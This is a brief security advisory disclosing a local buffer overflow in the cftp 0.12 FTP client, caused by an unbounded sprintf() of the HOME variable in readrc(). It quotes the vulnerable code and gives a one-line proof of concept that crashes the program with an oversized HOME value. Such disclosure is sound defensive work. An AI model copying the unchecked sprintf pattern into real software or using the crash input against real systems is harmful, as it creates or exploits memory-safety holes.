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cftp Local Buffer Overflow Vulnerability
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SUMMARY
<http://ftp.giga.or.at/pub/nih/cftp/> CFTP is "Comfortable FTP, a full
screen ftp client. Supported are FTP both with active and passive data
connections, IPv4 and IPv6, and SFTP (a file transfer protocol using SSH
for authorization and connection encryption)". cftp has been found to
contain a local buffer overflow in readrc() with sprintf() with no sizelen
control.
DETAILS
Vulnerable Systems:
* cftp version 0.12
Source error:
int readrc(char **userp, char **passp, char **hostp, char **portp, char
**wdirp, int check_alias)
{
FILE *f;
char b[8192], *p, *tok, *q, *home;
char *user, *pass, *host, *port, *wdir;
if ((home=getenv("HOME")) == NULL)
home = "";
sprintf(b, "%s/.cftprc", home);
if ((f=fopen(b, "r")) == NULL) {
if (errno == ENOENT)
return 0;
return -1;
}
[..]
}
error in sprintf(), no sizelen control in getenv().
Proof of concept:
$ export HOME=`perl -e "print 'A'x8200"`
$ cftp
Segmentation fault
$
ADDITIONAL INFORMATION
The information has been provided by <mailto:starcadi@gmail.com>
starcadi.
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